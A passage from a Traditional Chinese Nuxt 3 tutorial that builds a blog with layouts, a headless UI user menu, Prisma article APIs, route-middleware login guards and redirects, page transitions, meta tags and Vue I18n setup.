\u0026lt;NuxtLayout\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/template\u0026gt; 至此，我們就完成的第一個導覽列，可以由導覽列提供的「登入」，切換至登入頁面，並且在每個頁面中，都使用預設的布局模板，所以都會顯示導覽列。\n取消或替換特定頁面的布局模板 在【Nuxt3】開箱即用的 Nuxt3 玩轉筆記 - Nuxt 3 布局模板 (Layouts) 內有介紹到，我們可以建立多個布局模板，而 Nuxt 也提供我們可以為頁面元件取消使用或選擇特定的布局模板。\n例如，我們想將登入與註冊頁面，取消套用預設的布局模板，我們就可以使用 definePageMeta() 來傳入 layout: false 屬性來取消布局模板的使用。\n調整登入頁面 ./pages/login.vue\npages/login.vue 1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; // ... definePageMeta({ layout: false }) \u0026lt;/script\u0026gt; 如此一來，登入頁面將不會使用布局模板，導覽列也就不會顯示。\n建立使用者選單 為了豐富導覽列，我們可以為已登入的使用者，建立一個使用者頭像，點擊後可以顯示使用者專用的選項，例如登出等功能。\n安裝 headless UI 我們的使用的是 Tailwind CSS 來做樣式的處理，headless UI 已經封裝一些實用且好看的元件，元件基於 Tailwind CSS 可以讓我們的風格更一致，也能更彈性的自訂成自己喜歡的樣式。\n使用 NPM 安裝 @headlessui/vue：\n1 2 3 npm install -D @headlessui/vue # or # yarn add -D @headlessui/vue 調整 nuxt.config.ts，將 @headlessui/vue 新增至 build.transpile 屬性之中。\nnuxt.config.ts 1 2 3 4 5 export default defineNuxtConfig({ build: { transpile: [\u0026#39;@headlessui/vue\u0026#39;] } }) 建立使用者頭像選單元件 新增 ./components/NavigationBar/NavigationBarAvatarMenu.vue 內容如下：\ncomponents/NavigationBar/NavigationBarAvatarMenu.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;Menu as=\u0026#34;div\u0026#34; class=\u0026#34;relative inline-block text-left\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;MenuButton class=\u0026#34;inline-flex w-full justify-center\u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;inline-block h-10 w-10 rounded-full bg-white/90 object-cover object-center p-0.5 shadow-lg shadow-zinc-800/5 ring-1 ring-zinc-900/5 backdrop-blur hover:bg-opacity-30 focus:outline-none focus-visible:ring-2 focus-visible:ring-white focus-visible:ring-opacity-75\u0026#34; src=\u0026#34;https://images.unsplash.com/photo-1577023311546-cdc07a8454d9?ixlib=rb-1.2.1\u0026amp;ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8\u0026amp;auto=format\u0026amp;fit=crop\u0026amp;w=128\u0026amp;q=80\u0026#34; alt=\u0026#34;使用者選單\u0026#34; /\u0026gt; \u0026lt;/MenuButton\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;transition enter-active-class=\u0026#34;transition duration-100 ease-out\u0026#34; enter-from-class=\u0026#34;transform scale-95 opacity-0\u0026#34; enter-to-class=\u0026#34;transform scale-100 opacity-100\u0026#34; leave-active-class=\u0026#34;transition duration-75 ease-in\u0026#34; leave-from-class=\u0026#34;transform scale-100 opacity-100\u0026#34; leave-to-class=\u0026#34;transform scale-95 opacity-0\u0026#34; \u0026gt; \u0026lt;MenuItems class=\u0026#34;absolute right-0 mt-2 w-56 origin-top-right divide-y divide-gray-100 rounded-md bg-white shadow-lg ring-1 ring-black ring-opacity-5 focus:outline-none\u0026#34; \u0026gt; \u0026lt;div class=\u0026#34;px-1 py-1\u0026#34;\u0026gt; \u0026lt;MenuItem v-slot=\u0026#34;{ active }\u0026#34;\u0026gt; \u0026lt;button :class=\u0026#34;[ active ? \u0026#39;bg-emerald-500 text-white\u0026#39; : \u0026#39;text-gray-900\u0026#39;, \u0026#39;group flex w-full items-center rounded-md px-2 py-2 text-sm\u0026#39; ]\u0026#34; \u0026gt; \u0026lt;Icon :active=\u0026#34;active\u0026#34; class=\u0026#34;mr-2 h-5 w-5 text-emerald-400\u0026#34; name=\u0026#34;ri:logout-box-line\u0026#34; aria-hidden=\u0026#34;true\u0026#34; /\u0026gt; 登出 \u0026lt;/button\u0026gt; \u0026lt;/MenuItem\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/MenuItems\u0026gt; \u0026lt;/transition\u0026gt; \u0026lt;/Menu\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { Menu, MenuButton, MenuItems, MenuItem } from \u0026#39;@headlessui/vue\u0026#39; \u0026lt;/script\u0026gt; 將 \u0026lt;NavigationBarAvatarMenu\u0026gt; 元件添加至導覽列之中，我們就可以擁有一個使用者頭像的選單囉。\n結合使用者 Store 來控制顯示的時機 使用者頭像選單的元件應該控制於使用者登入之後再顯示，所以我們可以結合 Pinia 進行狀態管理，來檢查使用者資訊的 store 是否具有資料且符合我們的判定依據再進行顯示，否則，我們僅需要渲染出登入的按鈕即可。\n例如，我們從 User Store 取出使用者資訊 (Profile)，並判斷是否有 id 來決定要顯示使用者頭像選單或登入。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ClientOnly\u0026gt; \u0026lt;NavigationBarAvatarMenu v-if=\u0026#34;userProfile?.id\u0026#34; /\u0026gt; \u0026lt;NuxtLink v-else class=\u0026#34;px-3 py-2 text-gray-700 transition hover:text-emerald-500\u0026#34; to=\u0026#34;/login\u0026#34; \u0026gt; 登入 \u0026lt;/NuxtLink\u0026gt; \u0026lt;/ClientOnly\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useUserStore } from \u0026#39;@/stores/user\u0026#39; const userStore = useUserStore() const userProfile = computed(() =\u0026gt; userStore.profile) \u0026lt;/script\u0026gt; 整個完成後，介面看起來就會比較乾淨也符合登入與未登入時，應該顯示的介面樣子。\n新增部落格文章 當我們處理好登入後，就開可以開始來實作使用者建立部落格的文章囉！\n建立文章資料表 我們的資料庫，是透過 Prisma 的 Schema 來自動產生資料表，我們可以建立如下的 Schema，來作為儲存文章內容的資料表。\n1 2 3 4 5 6 7 8 9 10 model Article { id Int @id @default(autoincrement()) title String content String cover String tags String authorId String? createdAt DateTime @default(now()) updatedAt DateTime @updatedAt } 欄位相對簡單，各個欄位的用途與說明如下：\nid: 文章的 ID，採用自動遞增的數字。 title: 文章的標題。 content: 文章的內容。 cover: 文章的封面圖片。 tags: 文章的標籤。 authorId: 對應 User 資料表的 id 欄位，表示文章的作者。 createdAt: 文章建立時間，預設為插入該筆資料的時間。 updatedAt: 使用者更新文章資料的時間，預設為更新該筆資料的時間。 另外，我想讓 Article 具有關聯性，所以我們可以使用 Prisma 提供的語法，來建立與 User 的外鍵 (Foreign Key)，最後完整的 schema.prisma 如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // This is your Prisma schema file, // learn more about it in the docs: https://pris.ly/d/prisma-schema generator client { provider = \u0026#34;prisma-client-js\u0026#34; } datasource db { provider = \u0026#34;sqlite\u0026#34; url = \u0026#34;file:./dev.db\u0026#34; } model User { id String @id @default(uuid()) providerName String? providerUserId String? nickname String @default(\u0026#34;User\u0026#34;) email String @unique password String? avatar String? emailVerified Boolean @default(false) createdAt DateTime @default(now()) updatedAt DateTime @updatedAt Article Article[] } model Article { id Int @id @default(autoincrement()) title String content String cover String tags String authorId String? createdAt DateTime @default(now()) updatedAt DateTime @updatedAt User User? @relation(fields: [authorId], references: [id]) } 記得執行以下指令，來讓 Prisma 建立新的資料表。\n1 npx prisma db push 建立新增文章的 API 建立 ./server/api/manage/articles.post.js，內容如下：\nserver/api/manage/articles.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import db from \u0026#39;@/server/db\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const user = event.context?.auth?.user if (!user?.id) { throw createError({ statusCode: 401, statusMessage: \u0026#39;Unauthorized\u0026#39; }) } const body = await readBody(event) const authorId = user.id const articleRecord = await db.article.createArticle({ title: body.title, content: body.content, cover: body.cover, tags: body.tags, authorId }) if (!articleRecord) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Create article failed. Please try again later.\u0026#39; }) } return articleRecord }) 整個 Server API 的運作流程如下：\n使用者將欲新增的文章資料以 POST 發送至 /api/manage/article，伺服器中間件，將會解析 JWT 來得到 user。 判斷 user.id 來決定是否具有權限，如果正確解析 JWT，表示請求為一個已登入的使用者發送，也將放行給予新增文章。 處理函數將解析 Body 內的資料，並建構出往資料庫新增文章記錄的內容。 判斷是否新增成功，回傳新增的文章資料。 建立文章的 Prisma Client 操作如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 async createArticle(options) { const articleRecord = await prisma.article .create({ data: { title: options.title, content: options.content, cover: options.cover, tags: options.tags, authorId: options.authorId } }) .catch((error) =\u0026gt; { console.error(error) throw createError({ statusCode: 500, statusMessage: \u0026#39;Could not create article. Please try again later.\u0026#39; }) }) return articleRecord } 我們就完成了建立文章的 API 囉！\n取得部落格文章 使用 Prisma Client 來取得文章，也非常方便，如下程式碼，我們就能取出文章資料並以建立時間遞減排序囉！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 async getArticles(options = {}) { const articleRecords = await prisma.article .findMany({ orderBy: { createdAt: \u0026#39;desc\u0026#39; }, skip: options.pageSize ? options.page * options.pageSize : undefined, take: options.pageSize }) .catch((error) =\u0026gt; { console.error(error) throw createError({ statusCode: 500, statusMessage: \u0026#39;Could not create user. Please try again later.\u0026#39; }) }) return articleRecords } ./server/api/articles.get.js 是實作取得文章的 API，我們期望任何人都可以瀏覽這個部落格的文章，所以這隻 API 我們無需驗證使用者即可放行，程式碼如下：\nserver/api/articles.get.js 1 2 3 4 5 6 7 import db from \u0026#39;@/server/db\u0026#39; export default defineEventHandler(async () =\u0026gt; { const articlesRecord = await db.article.getArticles() return articlesRecord }) 我們也可以在 ./server/api/articles.get.js 處理函數內，添加資料的分頁或為文章資料進行加工，以利前端顯示。\n我們建立好了部落個的版面，有了導覽列和使用者選單，網站看起來也更專業了一些，結合布局模板，我們可以控制每個頁面所顯示的布局，在未來有更多頁面的時候能具有可控性。最後也實作了新增文章的 API，完成了第一篇文章的新增與瀏覽。\n頁面的導航守衛與切換效果 我們完成了新增文章的頁面與流程，在網站開發的過程中，有些頁面是具有瀏覽的限制，例如，我們不希望一般的使用者能進到管理者頁面專用的頁面進行操作，這時候我們就需要做一些權限的驗證與限制，在 Nuxt 的頁面提供了路由中間件可以在我們導航至頁面之前，執行一些處理函數，就實作導航守衛 (Navigations Guards) 的效果。最後會介紹一下在 Nuxt 3 所提供的頁面和布局切換時的進度條 (Progress bar) 與轉場效果 (Transitions)。\n頁面間的導航守衛 只允許已登入使用者新增文章 首先，我們新增一個路由中間件 ./middleware/manage-auth.js 內容如下：\nmiddleware/manage-auth.js 1 2 3 4 5 6 7 8 9 10 11 12 13 import { useUserStore } from \u0026#39;@/stores/user\u0026#39; export default defineNuxtRouteMiddleware(() =\u0026gt; { if (process.client) { const userStore = useUserStore() if (!userStore.profile?.id) { return navigateTo(\u0026#39;/login\u0026#39;) } } else { return navigateTo(\u0026#39;/\u0026#39;) } }) 在頁面元件中使用 definePageMeta() 來套用 manage-auth 中間件。調整 ./pages/manage/articles/create.vue 內容：\npages/manage/articles/create.vue 1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; // ... definePageMeta({ middleware: \u0026#39;manage-auth\u0026#39; }) \u0026lt;/script\u0026gt; 我們首頁新增一個可以導向至 /manage/articles/create 頁面的按鈕。\n1 2 3 4 5 6 \u0026lt;NuxtLink class=\u0026#34;text-md mt-12 rounded-sm bg-emerald-500 py-2 px-4 font-medium text-white hover:bg-emerald-600 focus:outline-none focus:ring-2 focus:ring-emerald-400 focus:ring-offset-2\u0026#34; to=\u0026#34;/manage/articles/create\u0026#34; \u0026gt; 前往撰寫文章 \u0026lt;/NuxtLink\u0026gt; 當我們處於未登入的情況，點擊前往後，會經由中間件判斷 process.client 是否是在客戶端，進而從 User Store 取出使用者資訊進行判斷，當不存在 userStore.profile.id 時，表示未登入，我們將導航至登入頁面 /login；當登入完成後，就可以使用按鈕成功導航至新增文章的頁面。如果 process.client 為 false，表示導航是在伺服器端觸發的，例如，我們直接透過網址進入新增文章頁面，將會一律被重新導航至首頁。\n登入完成後導回至登入前瀏覽的頁面 當使用者在瀏覽網站時被引導或準備登入時，我們可以將使用者目前的頁面進行記錄，以便登入完成後，可以重新導向至使用者登入前的頁面，以此提供使用者更棒的體驗。\n首先，我們新增一個路由中間件 ./middleware/logged-in-redirect.js 內容如下：\nmiddleware/logged-in-redirect.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 export default defineNuxtRouteMiddleware((to, from) =\u0026gt; { if (from \u0026amp;\u0026amp; to.path !== from.path \u0026amp;\u0026amp; !to.query.redirect_to) { let redirectTo = null if (from.query.redirect_to) { redirectTo = from.query.redirect_to from.query.redirect_to = undefined } else { redirectTo = from.fullPath } to.query.redirect_to = redirectTo return navigateTo(to) } }) 這個 logged-in-redirect 中間件的處理邏輯，我們接收 to 與 from，分別為目標頁面與來源頁面，當使用者目標頁面 /login 還未帶上了 Query 參數 redirect_to，我們就將來源的完整路徑添加上去 from.fullPath，最後進行導向。\n這裡需要進行判斷 redirect_to，否則會重複發生重新導向。\n在登入頁面中使用 definePageMeta() 來套用 logged-in-redirect 中間件。調整 ./pages/login.vue 內容：\npages/login.vue 1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; // ... definePageMeta({ middleware: \u0026#39;logged-in-redirect\u0026#39; }) \u0026lt;/script\u0026gt; 在登入完成的地方，我們就可以使用 navigateTo() 導向至 redirect_to 給的頁面路徑。\n1 2 3 4 5 6 7 8 9 \u0026lt;script setup\u0026gt; const route = useRoute() const handleEmailLogin = async () =\u0026gt; { // ... navigateTo(route.query.redirect_to ?? \u0026#39;/\u0026#39;) } \u0026lt;/script\u0026gt; 完成後，我們從首頁點擊登入後．當登入完成後就會導向回首頁；而從文章頁面點擊登入，完成後則會導向回文章頁面。\n頁面載入進度元件 Nuxt 3 提供一個 \u0026lt;NuxtLoadingIndicator\u0026gt; 元件，用作頁面導航後顯示載入的進度，會在頁面上方有一個進度條 (Progress bar)。\n只需要將 \u0026lt;NuxtLoadingIndicator\u0026gt; 元件添加至 app.vue 或布局之中，調整 app.vue 內容如下：\napp.vue 1 2 3 4 5 6 \u0026lt;template\u0026gt; \u0026lt;NuxtLayout\u0026gt; \u0026lt;NuxtLoadingIndicator /\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/template\u0026gt; 元件可以傳入的屬性 (Props) 如下：\ncolor：進度條的顏色，可以傳入CSS 支援的色碼或 repeating-linear-gradient() 函数，預設為 repeating-linear-gradient(to right,#00dc82 0%,#34cdfe 50%,#0047e1 100%)。 height：進度條的高度數值，單位： px，預設值為 3。 duration：進度條載入的持續時間，單位： 毫秒，預設值為 2000。 throttle：進度條的隱藏與顯示，限制在特定時間內僅觸發一次，單位： 毫秒，預設值為 200。 當我們從首頁切換頁面時，網頁上方就會出現一個進度條，表示頁面正在載入中。\n頁面切換的轉場效果 除了載入的進度條，頁面切換之間，也可以使用轉場效果 (Transitions) 來讓頁面之間的銜接更柔順，Nuxt 利用了 Vue 內建的 \u0026lt;Transition\u0026gt; 元件來幫助處理轉場和動畫，用以響應不斷變化的頁面與狀態。\nNuxt 預設為所有頁面 (Pages) 都設置了轉場，如果要啟用，請將以下 CSS 添加至 app.vue 中：\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;style\u0026gt; .page-enter-active, .page-leave-active { transition: all 0.4s; } .page-enter-from, .page-leave-to { opacity: 0; filter: blur(1rem); } \u0026lt;/style\u0026gt; 每個頁面的 pageTransition 預設屬性皆為 { name: 'page', mode: 'out-in' }，name 為 page 也就對應了 CSS 類別的開頭；mode 有 in-out、out-in 及 default 三種參數可選。\n1 2 3 4 5 6 7 8 9 .[pageTransition.name]-enter-active, .[pageTransition.name]-leave-active { transition: all 0.4s; } .[pageTransition.name]-enter-from, .[pageTransition.name]-leave-to { opacity: 0; filter: blur(1rem); } 套用好頁面的轉場，就會有切換頁面時有模糊的效果。\n自訂頁面的轉場 既然知道 pageTransition 的 name 會對應頁面轉場的 CSS 名稱，我們就可以來自定義更多轉場，讓不同頁面套用不同的效果。\n例如在 app.vue 添加 rotate 為前綴的類別名稱 CSS。\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;style\u0026gt; /* ... */ .rotate-enter-active, .rotate-leave-active { transition: all 0.4s; } .rotate-enter-from, .rotate-leave-to { opacity: 0; transform: rotate3d(1, 1, 1, 15deg); } \u0026lt;/style\u0026gt; 在頁面中使用 definePageMeta() 來設定 pageTransition.name 為 rotate。調整 ./pages/login.vue 添加如下程式碼。\npages/login.vue 1 2 3 4 5 6 7 8 9 \u0026lt;script setup\u0026gt; // ... definePageMeta({ pageTransition: { name: \u0026#39;rotate\u0026#39; } }) \u0026lt;/script\u0026gt; 當頁面切換時，皆會使用預設的模糊轉場效果，當切換至登入頁面就會套用指定的 rotate 頁面轉場，而有旋轉的轉場效果。\n布局的轉場效果 Nuxt 同樣為所有布局 (Layouts) 都設置了轉場，如果要啟用，請將以下 CSS 添加至 app.vue 中。\n1 2 3 4 5 6 7 8 .layout-enter-active, .layout-leave-active { transition: all 0.4s; } .layout-enter-from, .layout-leave-to { filter: grayscale(1); } 建立 ./layouts/teal.vue 布局，程式碼如下：\nlayouts/teal.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;h-screen bg-teal-50\u0026#34;\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 將登入頁面的布局套用 teal。\n1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; // ... definePageMeta({ layout: \u0026#39;teal\u0026#39; }) \u0026lt;/script\u0026gt; 建立 ./layouts/green.vue 布局，程式碼如下：\nlayouts/green.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;h-screen bg-teal-50\u0026#34;\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 將註冊頁面的布局套用 green。\n1 2 3 4 5 6 7 \u0026lt;script setup\u0026gt; // ... definePageMeta({ layout: \u0026#39;green\u0026#39; }) \u0026lt;/script\u0026gt; 在登入頁面與註冊頁面切換時，因為兩個頁面使用了不同的布局，布局的轉場效果，使背影顏色會有灰階效果的轉場。\n你也可以像自訂頁面轉場一樣，來使用 definePageMeta() 設定 layoutTransition.name 屬性，來指定自訂的轉場效果。\n1 2 3 4 5 6 7 8 \u0026lt;script setup\u0026gt; definePageMeta({ layout: \u0026#39;green\u0026#39;, layoutTransition: { name: \u0026#39;slide-in\u0026#39; } }) \u0026lt;/script\u0026gt; 禁用轉場效果 頁面與布局的轉場效果，都可以透過 definePageMeta 來設定 pageTransition 或 layoutTransition 為 false 來禁止套用轉場效果。\n1 2 3 4 5 6 \u0026lt;script setup\u0026gt; definePageMeta({ pageTransition: false layoutTransition: false }) \u0026lt;/script\u0026gt; 全域預設的轉場效果 你也可以在 nuxt.config.ts 設置預設的頁面與轉場效果，例如：\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 10 export default defineNuxtConfig({ pageTransition: { name: \u0026#39;fade\u0026#39;, mode: \u0026#39;out-in\u0026#39; // default }, layoutTransition: { name: \u0026#39;slide\u0026#39;, mode: \u0026#39;out-in\u0026#39; // default } }) 當然要將所有頁面與布局預設禁用也可以設置如下：\n1 2 3 4 export default defineNuxtConfig({ pageTransition: false, layoutTransition: false }) pageTransition 與 layoutTransition 接受的屬性可以參考 TransitionProps。\n元件屬性傳入 transition 在 app.vue 中使用 \u0026lt;NuxtPage /\u0026gt; 時，你可以將 TransitionProps 作為元件的 Props 來啟用全域預設的轉場效果。\n1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtPage :transition=\u0026#34;{ name: \u0026#39;bounce\u0026#39;, mode: \u0026#39;out-in\u0026#39; }\u0026#34; /\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 當使用此方法設定轉場效果時，就不能在頁面中使用 definePageMeta() 來覆蓋這裡的頁面轉場設置。\n以上我們主要實作了導航守衛，來為特定頁面添加瀏覽的權限，我們除了使用客戶端的 User Store 驗證外，也可以搭配 Cookie 再後端進行驗證，甚至為每個請求解析使用者，並查詢資料庫是否具有權限瀏覽，以此來控制使用者瀏覽頁面的權限，除了前端的阻擋外，更重要的是後端 API 也需要搭配進行權限驗證，才能有要的防止網頁漏洞產生，否則可能會發生，使用者無權瀏覽新增或管理的頁面，但是可以透過打 API 來進行相關操作，這樣是非常危險的。最後，我們將頁面切換時設置了進度條與轉場效果，使得整體網站能提供使用者更好的操作體驗，更多的轉場設置，也可以參考 Nuxt 官方文件。\n範例程式碼 - Nuxt 3 - 設置導航守衛與頁面切換效果範例\n添加 HTML Meta Tag 詳細 Nuxt3 添加 HTML Meta Tag 的說明，可以參考 【Nuxt3】開箱即用的 Nuxt3 玩轉筆記 - 搜尋引擎最佳化 (SEO) 與 HTML Meta Tag，這邊我們說明為實作的部落格文章添加 Meta，調整 ./pages/articles/[id].vue 檔案，添加以下程式碼：\npages/articles/[id].vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script setup\u0026gt; // ... useHead({ meta: [ { name: \u0026#39;description\u0026#39;, content: `${article.value.summary} | Nuxt 3 Blog` }, { name: \u0026#39;keywords\u0026#39;, content: `${article.value.tags}` }, { property: \u0026#39;og:title\u0026#39;, content: `${article.value.title} | Nuxt 3 Blog` }, { property: \u0026#39;og:description\u0026#39;, content: article.value.summary }, { property: \u0026#39;og:image\u0026#39;, content: article.value.cover } ], title: `${article.value.title} | Nuxt 3 Blog` }) \u0026lt;/script\u0026gt; 其中 article 是我們從 Server API 回傳的指定貼文的資料並具有響應性，最後看看成果。\n在 Nuxt 3 提供了一些可以設置網頁屬性與 Meta 的組合式函數，更能動態的調整與響應，結合 SSR 讓這些標記在伺服器端就能渲染出來，對網站做搜尋引擎最佳化 (SEO) 非常得友善，也是多數人選擇 Nuxt 3 來處理 SSR 與 SEO 的原因。除了 SEO 可能會使用到的的標記外，也有 OG Tag 可以加強網頁的連結預覽效果，雖然 OG Tag 與 SEO 沒有絕對的關係，但是透過伺服器端渲染調整這些 Meta 對搜尋引擎或網站都非常的方便，我們只要根據需求及指引做設定，就能對網站的能見度有所提升。\n邁向國際化實作多國語系I18n 當一個網站需要面向不同國家或不同語言的使用者，我們就需要做國際化 (Internationalization)，將網站內容進行翻譯或語言的對應，讓使用者能理解網頁上的操作或內容，I18n 意謂著「Internationalization」這個單字中，I 和 n 之間有 18 個字母，也正是各個框架的實作多國語系套件的一個常用名稱，例如 Vue 生態就有 vue-i18n，而這篇文章將講述如何在 Nuxt 3 中整合 Vue I18n 來協助實作多國語系。\nNuxt 3 使用 Vue I18n 想要在 Vue 3 使用 Vue I18n 獲得比較好的支援度需要使用正處於 Beta 階段的 v9 版本，因此有幾種方式可以在 Nuxt 整合 Vue I18n，分別是依照 Vue I18n 官方指引、使用 Nuxt Community提供的 @nuxtjs/i18n@next 模組及 @intlify/nuxt3 模組。\n比較早以前，Nuxt 3 社群模組還沒有支援比較新的 Vue I18n，所以需要自己額外的製作插件來安裝，後來也有一些相容性的問題，所以 Vue I18n v9 的作者 kazupon 發布了 @intlify/nuxt3 模組來方便 Nuxt 3 整合 vue-i18n-next (Vue I18n v9)，目前仍然可以使用 @intlify/nuxt3 來進行整合，但我最後選擇使用 @nuxtjs/i18n@next 模組，除了看好是由 Nuxt Community 提供的支援及未來的發展外，也能使用到 @nuxtjs/i18n 提供的一些組合函數等。\nNuxt 3 整合 @nuxtjs/i18n 目前 @nuxtjs/i18n 模組的穩定版本在 v7.3.0，而使用 Vue 3 和 Vue I18n v9 的模組則是下一個迭代版本 v8，所以使用 NPM 安裝的時候需要稍微注意一下。\n下圖於 2020/10/10 擷取自 NPM - @nuxyjs/i18n\nStep 1. 安裝 @nuxtjs/i18n 目前有 A 或 B 兩種方式可以安裝 @nuxtjs/i18n v8 分別如下，可以選擇其中一種即可：\nA. 使用 next 標籤來安裝 v8 版本\n1 2 3 npm install -D @nuxtjs/i18n@next # or # yarn add -D @nuxtjs/i18n@next B. 安裝 @nuxtjs/i18n-edge (Edge Version)\n添加 \u0026quot;@nuxtjs/i18n\u0026quot;: \u0026ldquo;npm:@nuxtjs/i18n-edge\u0026rdquo; 至 package.json 的 dependencies 或 devDependencies 依賴中，看起來可能像這樣： 1 2 3 4 5 6 7 8 { // ... \u0026#34;devDependencies\u0026#34;: { // ... \u0026#34;@nuxtjs/i18n\u0026#34;: \u0026#34;npm:@nuxtjs/i18n-edge\u0026#34;, // ... } } 執行 npm install 這邊我使用的是用 next 標籤來安裝。\nStep 2. 添加模組 於 nuxt.config.ts 中的 modules 屬性添加 '@nuxtjs/i18n'，參考如下：\nnuxt.config.ts 1 2 3 export default defineNuxtConfig({ modules: [\u0026#39;@nuxtjs/i18n\u0026#39;] }) Step 3. 設定 i18n 參數 當添加完模組後，我們可以先設置 @nuxhjs/i18n 模組的選項，來測試是否能正常運作，於 nuxt.config.ts 中，添加 i18n 屬性，用以設置**@nuxhjs/i18n** 模組；i18n.vueI18n 設置的選項也可以參考 Vue I18n v9 官方文件。\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 export default defineNuxtConfig({ modules: [\u0026#39;@nuxtjs/i18n\u0026#39;], i18n: { vueI18n: { legacy: false, locale: \u0026#39;zh\u0026#39;, messages: { en: { hello: \u0026#39;Hello!\u0026#39;, language: \u0026#39;Language\u0026#39; }, zh: { hello: \u0026#39;你好!\u0026#39;, language: \u0026#39;語言\u0026#39; } } } } }) 記得設置 i18n.vueI18n.legacy 為 false 來關閉使用較舊的 API 模式。\nStep 4. 確認專案下的 pages 目錄 當完成 Step 3. 的模組設置後，就可以啟動伺服器來看看效果；不過若是 Nuxt 3 專案目錄下缺少了 pages 目錄，可能會無法啟用 Vue Router 自動產生路由，而出現下圖的錯誤。\n我們只需要新增 ./pages/ingex.vue 路由頁面，就可以解決錯誤囉！\n建立英語和繁體中文的語系切換 我們安裝與配置好 @nuxtjs/i18n 後，可以嘗試建立頁面來看看效果，以下以 en 與 zh 作為英語和繁體中文兩個語系的使用範例。\n新增 ./pages/index.vue 內容如下：\npages/index.vue 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center bg-white\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;mt-48 text-8xl font-medium text-blue-500\u0026#34;\u0026gt; {{ $t(\u0026#39;hello\u0026#39;) }} \u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 我們就可以使用 $t() 來傳入我們在 nuxt.config.ts 中的 i18n.vueI18n.messages 定義語系與對應的文字，而我們預設是 zh 繁體中文語系，畫面上就出現 hello: \u0026lsquo;你好!\u0026rsquo; 對應的「你好!」文字囉！\n新增按鈕來實現切換不同的語系，完整的程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center bg-white\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;mt-48 text-8xl font-medium text-blue-500\u0026#34;\u0026gt; {{ $t(\u0026#39;hello\u0026#39;) }} \u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;mt-24 space-x-4\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;inline-flex items-center rounded-md border border-transparent bg-blue-100 px-4 py-2 text-sm font-medium text-blue-700 hover:bg-blue-200 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; @click=\u0026#34;setLocale(\u0026#39;en\u0026#39;)\u0026#34; \u0026gt; English \u0026lt;/button\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;inline-flex items-center rounded-md border border-transparent bg-blue-100 px-4 py-2 text-sm font-medium text-blue-700 hover:bg-blue-200 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; @click=\u0026#34;setLocale(\u0026#39;zh\u0026#39;)\u0026#34; \u0026gt; 繁體中文 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-4 flex flex-row justify-center\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-gray-600\u0026#34;\u0026gt;{{ $t(\u0026#39;language\u0026#39;) }}\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-4 font-bold text-gray-800\u0026#34;\u0026gt;{{ locale 